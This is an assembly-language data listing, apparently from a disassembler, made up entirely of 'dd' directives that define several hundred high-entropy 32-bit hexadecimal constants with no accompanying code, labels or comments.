		dd 0B63B4128h, 7F717F62h, 5873D1E6h, 5A674499h,	97A8BA4Bh
		dd 0B513A79Bh, 446E52F1h, 6EA5B3EFh, 0B54E2784h, 0A33A182h
		dd 44BC5108h, 4A1C27FBh, 1E5B6271h, 5DBF45DFh, 3D95E27Ah
		dd 0E94A7DADh, 0D1728D53h, 0F94A8992h, 59D1C87Ch, 0D414A107h
		dd 5E9D1E31h, 0BD181638h, 0D461D514h, 0EB2FFDF5h, 28621E95h
		dd 33F50FA2h, 4C4F8A91h, 0ABEE0A3Bh, 0D5764E2Bh, 49ED2280h
		dd 5ADB472Fh, 472D304Fh, 16F40AE4h, 991761C3h, 38198EE7h
		dd 0AD70DE14h, 742B5D7Dh, 0D31468FCh, 96066FAh,	0B38042B9h
		dd 22A8F494h, 3D1E02Bh,	17AADE4Ah, 0C7E5D28h, 6FD8CCBBh
		dd 710DD00Ch, 78CAB5F2h, 9F5F94A5h, 6869DF39h, 0D6F2C625h
		dd 42757445h, 2C673FF9h, 0A6187E20h, 28A305EDh,	0EE9376F1h
		dd 0AF2789B6h, 0ABA35551h, 0C2A953B6h, 0E64E62B1h, 8D71FDF2h
		dd 7933561Dh, 4C198509h, 5F4C7C30h, 4FE02B29h, 6202DCECh
		dd 3C11DC53h, 0F1C09FF5h, 539757h, 7C602D9Dh, 81A2F26Ch
		dd 484113FCh, 74ED7628h, 7EC47D7Eh, 5ED8366Dh, 1B77B1BBh
		dd 0E81F4878h, 0E467F489h, 815C0C47h, 2E602BF0h, 36CF286Ch
		dd 3F9BFAE6h, 0EC9A5189h, 0BCB7BADh, 4DF91393h,	0FE38D12Eh
		dd 753A6670h, 8ED85D27h, 0A29978BBh, 9F88EAE4h,	0EE8A4EF1h
		dd 0D4CD1054h, 5732F2EBh, 3D27BD2Ch, 984406D3h,	3CDD4852h
		dd 6B7E1660h, 0C228A26Ch, 3C24EC7h, 0F259E341h,	45CBD11Fh
		dd 16AF5F0Fh, 19285453h, 0B8F495ACh, 78C51E6Dh,	0FBDB2485h
		dd 3D7E86EAh, 0DFB755A3h, 7EE8D961h, 9F087F85h,	168418FFh
		dd 415FC3Ah, 0EF49E764h, 5E4E60DFh, 0CEA908C9h,	9AD64CDCh
		dd 0ADD87CBDh, 992C649Ch, 0A6A77778h, 1EF6B15Dh, 26F75A90h
		dd 0B66B62FFh, 2E1680E3h, 75D2A07Ah, 0C215D3CCh, 769E4543h
		dd 8BDE7E0Dh, 0B89FE5ACh, 648EBE95h, 68CBEC6h, 0A2312BEFh
		dd 0FD58C967h, 566A9A37h, 16240B0Bh, 1AF10D36h,	8A94CFBFh
		dd 1DB81358h, 0BD333CB0h, 0D501FF35h, 0F664BE2Dh, 0CD1E3C90h
		dd 63EA3720h, 612977D4h, 7F377E6Bh, 0D457BA97h,	6D49758Eh
		dd 6FD06A60h, 0F2945646h, 31AF090h, 0D531E17Dh,	6681598Ah
		dd 0C61C5AB4h, 4E3A17B5h, 5C099A08h, 5FF1537Dh,	0F872F921h
		dd 8FD6AFE5h, 0B862BDD4h, 280F314h, 62E7DFF3h, 0E277D958h
		dd 6C9E01B7h, 7ACCFC78h, 6313E5F6h, 98C77F85h, 47E469B0h
		dd 4004B061h, 0B826D29Ch, 222A3213h, 1182EFE8h,	0EAF09EBAh
		dd 571AD371h, 4D442592h, 0E4DA5F35h, 0D1162213h, 0F8E92028h
		dd 0EB629D3Eh, 0A2137187h, 0C005F312h, 0DA0732AAh, 0EB00F71h
		dd 94ECF9BEh, 0F166C252h, 0B400FD31h, 7C7DCE7h,	0F922CBB9h
		dd 8AE9C826h, 491AC0Eh,	0FAE46E8Eh, 0FA663094h,	0D7495E0Fh
		dd 4A24A772h, 2818DB00h, 0AB5541h, 7C89E8BAh, 83F9AABDh
		dd 9D32E2D6h, 12EF882h,	57B55C3Eh, 8B7B4CABh, 0FBD9C315h
		dd 0F5551517h, 9B762C38h, 0E08A8475h, 0B70D439Bh, 0D5C63443h
		dd 4CFAB0A8h, 0C80F15h,	55E78BD8h, 0D6462B73h, 2AEFF3CFh
		dd 0ACBEE8A1h, 18917DECh, 8934A1C6h, 833FBE08h,	0BB27491h
		dd 552A9A18h, 49084FB7h, 4CE61E7Eh, 0A841EA59h,	4D0CE33Ah
		dd 0FB11D546h, 603DB8C9h, 0BCCDE03Eh, 0D4467CFDh, 3D681BCCh
		dd 0A0A56C55h, 418D75E6h, 0FAAECC91h, 4FF7C43Dh, 22F01C03h
		dd 905E7F45h, 8C6B42D5h, 0FA818AC7h, 6A85532Fh,	1660942h
		dd 0DB6D13FCh, 0CA290361h, 0C97093D9h, 0FD86DB3Bh, 83013AF3h
		dd 0E593F609h, 3121A08Dh, 812C4099h, 6A6E09FCh,	7E4BFCF4h
		dd 90B2F5ACh, 6B83D4C3h, 7B3EF98Fh, 8C183367h, 4A5AC7FAh
		dd 0DC9C0924h, 19D88C6h, 0C26C2A05h, 0A4281714h, 0D524EC4Ah
		dd 0BE231148h, 8092BEB4h, 0CD6B5B1Ch, 9C8C2133h, 0E5E85506h
		dd 29BF377Dh, 0D302F1Dh, 704DE78Bh, 47D58893h, 0D0CB9A39h
		dd 0B8603DCDh, 9FE09FC5h, 5DB2650Ah, 1C66B0E9h,	0F4133A29h
		dd 0E49284BAh, 3619AC3h, 74AAF3B1h, 6EF6A359h, 0BBCB54A9h
		dd 0DDA5C81Dh, 8CC194EEh, 54322111h, 181106E4h,	0B0A6D024h
		dd 0D71024A9h, 424CC144h, 9DC8277Dh, 2E213E71h,	1D5478F7h
		dd 875244CCh, 66E0AD2Ah, 3FA72251h, 612EA181h, 0FD07E48Ah
		dd 388E028Ch, 0C58EA87Dh, 0F080AA6Fh, 0D8B86AA6h, 38607484h
		dd 94709345h, 19E78D70h, 0A40AE4DBh, 5F7625A2h,	0D1DA92E7h
		dd 0D261DF8Ah, 7DCBF0B8h
		dd 0D7AD9073h, 0BB3CF72Eh, 55F39DEBh, 11F1E786h, 0B0F1DF65h
		dd 0C33DF3F3h, 0BB991038h, 80DBFC6h, 0C369F2D9h, 0EBB0A7D2h
		dd 0A08D6580h, 8F7B241Eh, 0AF7F8D85h, 66FBB9ACh, 0BF367557h
		dd 53E61514h, 9875A940h, 0FD01A953h, 26103E9Fh,	0D0419AEFh
		dd 0BCE805FCh, 6F234B73h, 496C0C2Ah, 0E2E9A29Ah, 0B4B797E1h
		dd 0DD06C0F2h, 78880FF4h, 0A6024AEDh, 760D3710h, 0AEA95EE2h
		dd 0F0C4B6CCh, 2737D23Bh, 82E84EFDh, 709A29A7h,	0EE63BA90h
		dd 448D67A9h, 49A18F41h, 1140D7FCh, 0FB329949h,	94EFD64Bh
		dd 368B7402h, 825CA161h, 173C4A5Dh, 0E43DD544h,	3F9DB9D8h
		dd 0FD91C53Fh, 0C0BE5C45h, 9393C5D4h, 8B2CC472h, 9E9A255Ah
		dd 0EC2B5C4Ch, 0F865CE9Ah, 93D7A533h, 1EAB9AF3h, 0E0680B45h
		dd 0A41322CDh, 8C31F41Ch, 0C3C89BAFh, 9D11A12Dh, 0BB2EE681h
		dd 0B9E7628Fh, 88D23C82h, 857866ADh, 34E1628Dh,	9CF379B3h
		dd 684BF002h, 0C79C1B1Ah, 7A886B8Ch, 0B1C51C6Fh, 72B6AD0Ah
		dd 2CEEFFF0h, 79C203C5h, 0ABEDDA31h, 8F523B35h,	0E246913Ah
		dd 0C0BD132Eh, 0FFA7404Ah, 29727CA3h, 0C748523Fh, 4A84A7CDh
		dd 0CB42DA4Ah, 0D8E85516h, 0DCC3B756h, 0CBCC5F2Fh, 0E726AE95h
		dd 0DA8B0575h, 4FD8B8F1h, 60612E9Fh, 5BE456F4h,	7DDF3914h
		dd 0CCAD9AE9h, 52940707h, 22723730h, 0EBB632A4h, 4E7BBDC1h
		dd 0F7A3617h, 0B96E4095h, 0DFFC53E7h, 0A588D55Bh, 6C4C9457h
		dd 0BF8047AEh, 7CEFE210h, 423436FAh, 5486CE46h,	259465FFh
		dd 0E2D541F0h, 0A7494C23h, 0C791A13Dh, 369BC14Dh, 7614D5B0h
		dd 0C7F6968Bh, 1EA3F136h, 0C6B61B32h, 20532F83h, 5E01175Ch
		dd 66FF1914h, 0DDDD8481h, 8E1E7AA3h, 1BF28627h,	7BC2F522h
		dd 0C061004Dh, 0D1745D4Bh, 0D3479BC6h, 6C5C9749h, 5D47E2A2h
		dd 0DFA58AD5h, 1EA7D714h, 0A6F84476h, 5B400FDCh, 6D5D294Ah
		dd 0DD2B0CC6h, 3DC64CF3h, 8BAE2BD7h, 0C4CDD8E2h, 0BBB79174h
		dd 0F8E1DD77h, 0A4F67514h, 6CE44D97h, 16B95CDEh, 6CE5CA2Ch
		dd 8DCC47F2h, 0CEE30941h, 0C40863B7h, 0AA73BFE8h, 0EA9F6998h
		dd 0EE6574B2h, 8E7AAABh, 4A65BA3Fh, 0F4DC6872h,	6E6D7E28h
		dd 0C424F682h, 51FEA7DBh, 2BE48CD5h, 0D847A5CDh, 0C5EC7BD4h
		dd 2EF107AAh, 36CBBFD6h, 0B4EA3E19h, 8DE4CB59h,	0A635F9C1h
		dd 7306D7E4h, 0BECF8CFh, 8CA0DB34h, 67F310F8h, 0B6562185h
		dd 0B645E06Ah, 742A278Bh, 714C2055h, 8055068Ch,	0EFA24B62h
		dd 80FC53Ch, 0E451AAh, 6B9844D8h, 48E0B91Ch, 0A3552937h
		dd 8CB5404Ah, 2EDE1C4Dh, 52266482h, 8100BC8Fh, 73CE6ECCh
		dd 4AA4616Bh, 0C3D237F1h, 8B838CDFh, 58861C39h,	0ECBD63B8h
		dd 67A41DF8h, 2188B8D4h, 43668A06h, 0DF1B847Ch,	0FB6F8585h
		dd 0FE900143h, 0C489CFBEh, 49A4D56Ah, 0E2BD71E9h, 1B435902h
		dd 286FB7BAh, 623BA3CDh, 81B4DDB6h, 32F5FFB1h, 0E7E25652h
		dd 8DBA4268h, 8C83EEEDh, 91E5AECCh, 333EFBC8h, 476DF132h
		dd 84DF1A4Ah, 52A46D4Ch, 44DF0C5Bh, 0A4AA6759h,	0CCBA76EAh
		dd 32EEBDB2h, 0FC3CC3F4h, 74BBCB48h, 23C3EA73h,	0EC0BA30Eh
		dd 1121E5E6h, 89C02ECAh, 95FB07DFh, 3A43FDB8h, 0FF91822Fh
		dd 963B6C65h, 0E54A6411h, 0E29BEAA5h, 17EE5098h, 2649DB3Dh
		dd 124ADAB6h, 8A317962h, 522BC6B0h, 65F20BA0h, 93A3F70Ch
		dd 7E9652D7h, 0E72B2273h, 3598D8AFh, 6E7BD09Fh,	0F9F97862h
		dd 20AB28C3h, 0AF27ECCAh, 35040E4Ch, 0BBD13AA6h, 7CCA0A8Fh
		dd 5039535Fh, 0B68633F5h, 3C289602h, 0AEAD5934h, 0B1535AF0h
		dd 6A6C5E33h, 329EDEACh, 0C3D5DE0Ah, 0A1AF05E9h, 6478613h
		dd 5B3F1DA1h, 0B7DEB946h, 44C0976Ch, 44345ECAh,	0F9CF73DAh
		dd 6714B351h, 300FD770h, 0E86ACA7Ah, 93D013D6h,	2FF6B37Eh
		dd 7C77124Fh, 8D54F620h, 0D395AE8h, 5A61CA76h, 30788190h
		dd 0DDE37010h, 0E57222C0h, 62230FA2h, 52F11815h, 0A3E1F948h
		dd 7AD368F8h, 610792Eh,	0F24D4E8h, 46EC7FBEh, 9FBD917h
		dd 34F876ABh, 0B2396C6h, 0EE75CB89h, 9D039326h,	0F2228101h
		dd 0C8172034h, 61695591h, 0CB83BDFDh, 0A7A89CC1h, 232BA1A0h
		dd 0D6BEC6DDh, 0E28C1609h, 0A7110DA7h, 2F25E144h, 0F63CD966h
		dd 20B662F3h, 0B75C978Ah, 90376689h, 0DB3F4BF6h, 5B9F962Fh
		dd 0C6C005Dh, 16866CBh,	52B7E911h, 716469D9h, 73D08015h
		dd 3306D526h, 773B7E77h, 55E374C0h, 9EB55EEEh, 329D605Eh
		dd 56073B83h, 2C765AB0h, 2605CE31h, 3BC5D79h, 8BABB5ABh
		dd 4FC035ECh, 87827119h, 7BA95666h, 4B180218h, 0FCA9203Ch
		dd 0CD9A67CAh, 0A633D3C0h, 8CFEFA1Ch, 0A6A2099Eh, 7AEF43F6h
		dd 0D24DB79Bh, 978199C4h, 516C16h, 0A9CDC4E8h, 114054BBh
		dd 5A25B78Fh, 1B2355C6h, 47CAFE1Dh, 3A3C9EA6h, 60A52B12h
		dd 1B8B1938h, 1B8F53E0h, 0DEB64424h, 0EC3C7799h, 555AC7Fh
		dd 0FB45A310h, 0BF8BDDCAh, 0C88947BBh, 6B909F07h, 1F5518B3h
		dd 31C2BA4Bh, 4C287B7Dh, 6898B9Eh, 0C235829Bh, 0DD48CCEBh
		dd 53DF4172h, 0CF7312EBh, 0D8389BF6h, 0A3304A1Ah, 4CED1CC4h
		dd 23C1D26h, 0D9FBADD8h, 0A5A958F7h, 0F81A046Ch, 58883593h
		dd 0E535F135h, 33164DFAh, 57179D38h, 247276B6h,	84D0DE3Eh
		dd 6E5219F4h, 8ED0F020h, 3B14803Ch, 0B914E30Fh,	8CE17AC9h
		dd 0B24E3264h, 0E88BF14Bh, 1FE15825h, 5D97D17Ch, 1472DDC5h
		dd 0B672EFF6h, 76C17E16h, 8CF49E36h, 227AEAEDh,	7AF9E994h
		dd 0C7B486AFh, 443E3FC8h, 519EAB04h, 15C5692Eh,	0A1BEA1FCh
		dd 3C8900FAh, 0BA1CCE0Ah, 61BDED36h, 63225B35h,	5B3821AEh
		dd 3C88AD29h, 893BD376h, 0B61C529Ch, 2FF2E4FDh,	0CED3BFE2h
		dd 48C6F9B9h, 0C13C96F5h, 0FD5BF176h, 59E4419Fh, 0A9995544h
		dd 2DD5A1F6h, 0B0661701h, 871561C4h, 3A016894h,	0E6808554h
		dd 0D666067Fh, 300A9906h, 0E4DA8D5h, 0A9523285h, 78E110D1h
		dd 0E1ACC4Fh, 27CA1DC4h, 98B9D68Fh, 0F63C99AFh,	864CAE9h
		dd 4053081Fh, 49629696h, 0C9DF473Fh, 47FF5908h,	0BD0DCF09h
		dd 0F1EB926Fh, 3299E145h, 0D67DC2C6h, 2CAAA451h, 21871A75h
		dd 0ECB398E9h, 5F28C050h, 5F5DDC2Eh, 0FEF328EAh, 0B5E4A663h
		dd 6DBD3167h, 7B66DBFCh, 16055AD1h, 0DCAD819Bh,	0A611056Eh
		dd 527A8433h, 3DB3C4F8h, 0C94B1BE4h, 845F45B8h,	7C814CE9h
		dd 1D86527Ch, 0BB09E27Ah, 140C5AD3h, 8BDA468Dh,	0B4ADAF40h
		dd 0BE811741h, 3FDF9D75h, 6099A5EFh, 80C5C1DEh,	263E7002h
		dd 68226078h, 8CC696F0h, 0BB020B9Dh, 0BE9A55F8h, 711D77DCh
		dd 84D9FFFh, 0A3005807h, 25F0B513h, 7548FD16h, 3A04952Ch
		dd 3E113DBDh, 4CE93B4Bh, 52C76430h, 0BB0D26B0h,	343D95BDh
		dd 0B6131E6Ah, 0A804C1D8h, 637761B9h, 4564D7C6h, 5FC1A219h
		dd 0E6407BEFh, 21473D19h, 9AE75FEBh, 84B727EEh,	7233C46Eh
		dd 288F8A23h, 7FEB08Bh,	1D39B46Ah, 0A05B3DEDh, 476656Eh
		dd 0F94BC236h, 0E3837BECh, 8FA2FA26h, 86137C8Bh, 17F232CEh
		dd 0E6855708h, 925DA73Fh, 0ECBE243Ah, 0DD93EF9Dh, 0B64B4195h
		dd 9384186Dh, 0D327EA29h, 7DAFEC30h, 75B97488h,	86D720AAh
		dd 0DFDEDB32h, 606D8C91h, 2F11F869h, 4795741Ah,	177ADBBDh
		dd 877FD8B8h, 39A52966h, 71430B6Fh, 423D4731h, 0BCEA0F17h
		dd 0D18EB6E9h, 0EE038083h, 86102C59h, 45D8FFFBh, 0A42FCFE5h
		dd 0BB3C90EEh, 4A9EDE2Bh, 0B1435C3Ch, 49573BA1h, 0B9752DA3h
		dd 0EB02C714h, 0F9390DA0h
		dd 185FFBB3h, 0F2581B92h, 0A53C9069h, 659AE306h, 0FAAA7886h
		dd 0E42E77Dh, 1A44F6A5h, 7047DA58h, 4DA5A419h, 0A278E8EBh
		dd 0E7C1B452h, 0F9DDAA1Eh, 0C7203C0Dh, 1B53CC9Eh, 0C885A360h
		dd 2B0BBA1Bh, 0E9FB6512h, 0D09F364Bh, 76F67DC3h, 7415EFCCh
		dd 0DB467A88h, 84E85668h, 2FAE187h, 0F38176CEh,	0E5A4971h
		dd 4504290Ch, 8354C1CCh, 5FC72FBCh, 4C4BD148h, 6C9C83BEh
		dd 51EC32D9h, 54E66F36h, 4C2740D7h, 0BD03E05Eh,	960CF34Ah
		dd 3AD80371h, 3B8C1DE6h, 0D787E6DBh, 48EE0C74h,	947F4E59h
		dd 1C1BDF52h, 95F63325h, 5D3C2D53h, 0E2BB6583h,	0BE476B0Fh
		dd 757061EEh, 341943A7h, 0F2CABA0Dh, 0BDC52015h, 3A3C7F03h
		dd 8F81C966h, 5EAAA441h, 0C548EA86h, 402123BDh,	0B6D67DA1h
		dd 0C26F1D2Eh, 0E7BB76DAh, 18177453h, 0AAB66ECFh, 98878EB2h
		dd 858B93E3h, 0B4598CB9h, 356D5DCEh, 465C4A79h,	4B88E1A8h
		dd 2F5811CBh, 0DF8B786Ah, 0ADC6B37Eh, 7F81001Ch, 45DFF188h
		dd 3F10BDF5h, 9B3B2084h, 0E2899B4Bh, 0DE44FE5Bh, 6B4D9ABAh
		dd 76FBFACBh, 0CC822925h, 0A1945C27h, 6850CC36h, 2695B191h
		dd 0E05C01E7h, 0F2036326h, 5C96614Dh, 6BE1D15Eh, 3C211161h
		dd 0A238E5E2h, 799D7C2Ch, 0C018E1BBh, 0D32F77D6h, 605610E2h
		dd 16C7AB77h, 26EC2019h, 139A9C9Eh, 0F9A317ADh,	6B4804D6h
		dd 0A2746F7Fh, 9AC87AE0h, 0C1B6115Fh, 0F69B74E9h, 778C0D6Ch
		dd 30E9BA30h, 1144A85h,	0C1B9694Ah, 301C8CFAh, 1D174246h
		dd 0E3156260h, 44082CBCh, 662289B7h, 67292FA1h,	77DA5F5Ch
		dd 60C892CFh, 70C764AFh, 0ADC3BFF2h, 0C0D44FA8h, 2545B716h
		dd 428A0C65h, 66258B86h, 93F28892h, 9361D73Ch, 788A4080h
		dd 4F22BBBCh, 0FDA3759Bh, 0FE85EF29h, 13FE9B68h, 2F86275Fh
		dd 0C6769CA8h, 80031AE8h, 0D0D85936h, 0AC32E0C5h, 0AF4C7CA7h
		dd 0D60C0240h, 0EFEB962Fh, 0DD0B8D39h, 0AC797416h, 3451113Bh
		dd 0EFCD291Eh, 945F2053h, 2EA81h, 897D566Eh, 76040A9h
		dd 7BDE72E7h, 881052EEh, 5F17522Bh, 2C59DB41h, 522674E6h
		dd 3B57B217h, 0CA3C8AADh, 0C0227032h, 7729D005h, 0A058AD28h
		dd 5EFBDB4Ah, 31C789BAh, 0E95D59E6h, 0FCCD798Bh, 0DA700B39h
		dd 94CE344h, 5D146D75h,	0EA9CC19Dh, 766C8EA3h, 31485EF6h
		dd 0E52B8AB5h, 0B7F3F154h, 0F8B6DA0h, 9824BF78h, 5040180Ch
		dd 814A316Fh, 38CFAD13h, 64B7869Eh, 0CBC2BDECh,	0E60CACC4h
		dd 261C5F5h, 14C92F75h,	0BBE64F9Dh, 1AAF041Eh, 0E2A45E50h
		dd 633A1749h, 597A2DCDh, 0A4F87856h, 99536B9Ch,	38E50D44h
		dd 316E33F3h, 25300C7Ch, 0F75964DFh, 0B3EB4B96h, 0EDD36F5Eh
		dd 0B6B796AFh, 4A4AA55Bh, 0B2CF4CCBh, 9A4403C5h, 0CF2298E0h
		dd 8A74F282h, 0D774F3A6h, 99299C1Bh, 36FA6796h,	0B68FF3A7h
		dd 5A9A26FFh, 3EE59F2Bh, 888F5B61h, 986C1822h, 0D45EDCD1h
		dd 0AF0EE541h, 78D83DDCh, 0E58B4046h, 8563949Bh, 0EC0F6C06h
		dd 8C09C578h, 23786E18h, 0F30CCB50h, 0A15B10FBh, 8869AC7Fh
		dd 0D109BEB1h, 78F68BB4h, 0E80933C6h, 5B00B23Eh, 477F8CA9h
		dd 68110E04h, 9A80A117h, 0ABAC5986h, 9F991345h,	877386CBh
		dd 9CA57E07h, 121F8E89h, 57D110AAh, 30158718h, 57AF5E82h
		dd 8D05F94Ah, 1FEC3A8h,	393D6941h, 40D708E6h, 818875A2h
		dd 2A899A39h, 5EA22A09h, 8374CDE2h, 6494DE69h, 92771AEBh
		dd 73EDA7A1h, 2ACE418Fh, 862CA3BEh, 0B5EDCEEEh,	1E79A698h
		dd 39AFD536h, 7C9B4DEBh, 0A621A81Ch, 429F16E8h,	5590A4C9h
		dd 821474DFh, 271D0ABBh, 53A3F391h, 22DB81D7h, 88DFF88Ch
		dd 1295CB84h, 64C89EDFh, 72EA378Fh, 0A95A114Dh,	38E01C1h
		dd 6B3A3AD1h, 0BA2A77DBh, 0A5D15916h, 3D785697h, 164FABC9h
		dd 0FE5D3D2Ah, 0F5C73986h, 0C4A10E27h, 0CF07874Bh, 11F0EAA7h
		dd 5E8F51CFh, 0BFF09089h, 4F01FA71h, 0AA8AEF9Fh, 0BE465778h
		dd 6B7AFB90h, 0FE2023BDh, 0BD6120DCh, 91C47261h, 5CBEF3E7h
		dd 7CE7ABC9h, 0CD2E5269h, 914B5169h, 0B53C8781h, 7BBA7A67h
		dd 6165FF87h, 4CCEB4C3h, 73AD4300h, 0BB73FB28h,	9B72AF30h
		dd 7D3C99A7h, 547944A5h, 7441F614h, 8AD480Fh, 0D2BD420Ch
		dd 0AF33D17Ch, 73D997B1h, 90F0BD40h, 0E4EBD99Fh, 7946AD0Dh
		dd 486C60DAh, 0C8597398h, 0AF1B1A2Dh, 7D9449C5h, 1B4F576h
		dd 0D8C22FD2h, 6F3B7738h, 463380F4h, 9B734FD3h,	0B26C20F5h
		dd 34FCDBCCh, 0F8C59393h, 4ED47BCFh, 556E9F04h,	2F61FFB3h
		dd 237C3F57h, 0CDED5B83h, 56B81601h, 9731FDA9h,	85864355h
		dd 0E5E9A4C9h, 6F092512h, 213E833Ch, 0EC519C68h, 0F0A749E3h
		dd 921F384Dh, 0D1118126h, 0D6612037h, 0DE784BFDh, 0C2FC5C06h
		dd 0CEBFB2CAh, 0BF6CDA38h, 2A22D7B6h, 0C1C36912h, 0EAB69065h
		dd 0F7BDF32Dh, 39BC4B08h, 5EAFAF32h, 0E8BCF99Ah, 1514CB00h
		dd 0AC81B112h, 0DE4F18E4h, 518CE45h, 0C5946Ah, 525957F9h
		dd 199041B5h, 8FC98422h, 23E9955Bh, 43EC06A4h, 74EDAED4h
		dd 3FBA6CDFh, 3257E3CBh, 4EC4089Ah, 6014DA16h, 0C6FC3F49h
		dd 65990A08h, 0D2EA3C0h, 0CDD19Dh, 6FC99485h, 47C8EEFAh
		dd 45B01BF5h, 9A44657h,	1C92DFCBh, 55B6C821h, 98FE935h
		dd 975CC270h, 6D1B3D2h,	617BA68h, 24B1A64Fh, 4E752470h
		dd 2BF491D5h, 0FDDAF50Ah, 0BB52ED9Bh, 6C2E98CEh, 92038740h
		dd 6D7C9A0Bh, 0E464E7C3h, 0DDCD31A1h, 8DC27C78h, 0E44F141h
		dd 0E7688940h, 720CA59Dh, 0E3BD9BDAh, 48C34DF9h, 0C59B488Ah
		dd 18DB5E66h, 0E9E6572Ah, 7095AE91h, 1341B140h,	8814C6D8h
		dd 167D640Ch, 0A5879EB4h, 0E2D5BA6Ch, 0FED30140h, 31185688h
		dd 9EB1B27Ch, 0CD1278A2h, 0C006D4h, 0DDA91B98h,	3CDBAD89h
		dd 0ADC70DDDh, 0CA826107h, 0C1101718h, 477041F8h, 0BD374E6Bh
		dd 5BDB6E99h, 3B7DD8FBh, 48A06D6Fh, 9C4D47F5h, 21D267B9h
		dd 0B8104ADBh, 8D67BA10h, 0A991E294h, 27C2A38Fh, 2D27300Ah
		dd 0F98A5BCEh, 858C20DEh, 0FE306A41h, 0BA8CE3FDh, 896CDECBh
		dd 0F6C359A5h, 0FC3E8F8h, 5CFF9072h, 0DFA429A0h, 0B8585615h
		dd 0FA0033DDh, 9256450Ch, 9D4C43A5h, 79D3B424h,	0AD89AD49h
		dd 363612D9h, 3C4F1E85h, 0D53B5E8Fh, 0D45D301Fh, 6E2ECA58h
		dd 7EF4D184h, 0E4348AE6h, 0AACDA1A6h, 7ED6B285h, 72BCD45h
		dd 0FC79FEEEh, 40BA5Ch,	930BAA7Ch, 5D3537A9h, 0BD9452CEh
		dd 0B0D44D49h, 38C753CDh, 14E30860h, 0B9E4406Dh, 0FA4D535Ch
		dd 1FAE69E1h, 1BAD5E1h,	1F7D6B7Ah, 7D6D3322h, 58923C92h
		dd 0BFB50775h, 203A9BC7h, 11B1B5C2h, 7A0FDBEEh,	0D02A0457h
		dd 0ADA94284h, 48AD15CBh, 0E9FD102Ah, 0F74ACA80h, 6A53655Ah
		dd 0B7CCA2BFh, 0E3E08E01h, 7F53F8D9h, 3E1D5D6Ch, 11C0973Bh
		dd 9E0CA383h, 0DAF31587h, 0D28FA05Fh, 7F741858h, 890E16B9h
		dd 3F3EB953h, 86F7BB5Ch, 5D2F7F1Dh, 20DD59A5h, 5A38AD54h
		dd 869A2F28h, 299EB3A5h, 0E74F40F3h, 0AD791992h, 0D4B95FAFh
		dd 0ACCF12EAh, 0F7B20EA2h, 0CC927C53h, 0EC7D491Dh, 0E636FFAAh
		dd 6C04C77Fh, 798CE47Dh, 91306ABEh, 99844BD4h, 377A1B87h
		dd 0D1DBADB7h, 8E9CEFD3h, 0B9C9911Ch, 40CF400Dh, 70A53312h
		dd 284AB416h, 0C74B7BF4h, 0F57B8ED6h, 0D196AD19h, 0E952864h
		dd 298134EAh, 0B600F139h, 0D24C4C1Dh, 8B652A1h,	0E815495Dh
		dd 760B1987h, 812FC9DCh, 2256828Fh, 63F33F51h, 226DB36Dh
		dd 0DF1AA9A9h, 8B513BFFh
		dd 93546E44h, 0C38EB7F7h, 0EF38CECEh, 0CACE08E4h, 0A003E236h
		dd 0C3D8515Ch, 0AA463E50h, 0A28F15C4h, 0C1D77FFh, 4A286F13h
		dd 0E2B08240h, 716C7D6Dh, 0C4B43C80h, 2CC0EFF0h, 0FDAF3F2Bh
		dd 0F6469A6Eh, 0A2F6627Eh, 0D2F5C8F4h, 0BB87BA50h, 90F877B8h
		dd 74F2E4Ah, 6A997194h,	91154630h, 84EC7619h, 0B405A2FEh
		dd 6638430Ch, 0A367ADAFh, 0E4FA497Ah, 8AC2840Fh, 0E8B779DFh
		dd 0C5F15258h, 7E60ADE5h, 3CDF4C6Ah, 0D43B0CB2h, 4A39490Dh
		dd 320E077Ah, 1B4FAFD1h, 3E0D74C3h, 0ECE90793h,	0BEDDD764h
		dd 6AF70640h, 0CDAB585Dh, 3229AA22h, 0F38BEF4Fh, 0A6AA32CCh
		dd 26D8FEBh, 5D6B416Ch,	371AEAEFh, 3AD2C59Dh, 3B64E93Dh
		dd 9AD46A55h, 5A636356h, 0A2003B63h, 6AF8E064h,	6473DC8Ch
		dd 115D5A9Fh, 4853F00h,	6666CEA6h, 1D337E65h, 0F8631BFEh
		dd 6E888327h, 0A5095BC3h, 0A02C5EC9h, 0A8FDA034h, 0C02E095Dh
		dd 0B93A8B7Eh, 0DBCFF48Fh, 0C8DBF0B2h, 0F4548CBBh, 0AE945DCAh
		dd 1D342FDBh, 913BFD5Ch, 2355A6E4h, 0C793C7BFh,	0A5FC865h
		dd 7C354A7Dh, 0FB29DEA1h, 43A34FE3h, 6E13A780h,	60320901h
		dd 0E51A292Ch, 9D5EB561h, 3AEA81F9h, 0D1FB6A61h, 37600221h
		dd 7F976617h, 605501ADh, 0D9508C7Dh, 5BE310E6h,	7AEBC12Dh
		dd 0F3707E5Bh, 0B145B031h, 0EDCF5645h, 3FC63DEFh, 1E02435Ch
		dd 0B273E051h, 0FEF12B4Fh, 43C6F02Eh, 5B4F6A4Dh, 9D628FB2h
		dd 0C9F868FAh, 80169A2Fh, 0D474FE7Dh, 42BCFAFEh, 88249B96h
		dd 5676BB85h, 3BCB2FAh,	2EB6CBD8h, 0ED70F820h, 466D136Bh
		dd 33838633h, 347F2819h, 0C0D50554h, 0E419B88Ch, 0AE145544h
		dd 4EA05E40h, 5F5DE3F6h, 0A275AF93h, 704DDC08h,	692F270Ah
		dd 3CDEE651h, 0EFB7F54Bh, 0BA688E5Fh, 0B8DED7B6h, 13BA8073h
		dd 94E45A6Ah, 43A6625Eh, 0BB9462DEh, 937E1749h,	0F6565C1Eh
		dd 0F0F910FFh, 0F7ADFB8h, 0DE1EC9ECh, 44011E59h, 75091B64h
		dd 6A1AFFFAh, 47A1F05Dh, 82CE945h, 5B6CEE28h, 61DF7BD2h
		dd 67E5039Fh, 0D7B1F0C3h, 345F9353h, 0C5D0C88Fh, 1AD3C2A0h
		dd 4CF7F740h, 0D29CB9D7h, 593A0292h, 0DA5D8876h, 0E50C19BCh
		dd 79BF7BBEh, 0C01975FEh, 79EF859Dh, 60F7EC53h,	0EE38CDF0h
		dd 1957411Ah, 0D95497B3h, 0AA42080Ah, 96F265A6h, 0A90B1EFDh
		dd 5BC03DF9h, 756231C4h, 0A13442FEh, 77742047h,	708F7097h
		dd 0DED39E78h, 587251DEh, 715AE74Fh, 0E9370F7Ch, 50286CA9h
		dd 0C8B90391h, 95CF2A25h, 4945CEE2h, 3103D0A7h,	4E09FEC8h
		dd 5F66C2E3h, 4A87DBC0h, 0C62F3B93h, 0C31C8C6Dh, 0D5690C6Dh
		dd 754DD7F8h, 5E7B1BC5h, 0A5B89EF1h, 1DA9B1A6h,	0DFE62850h
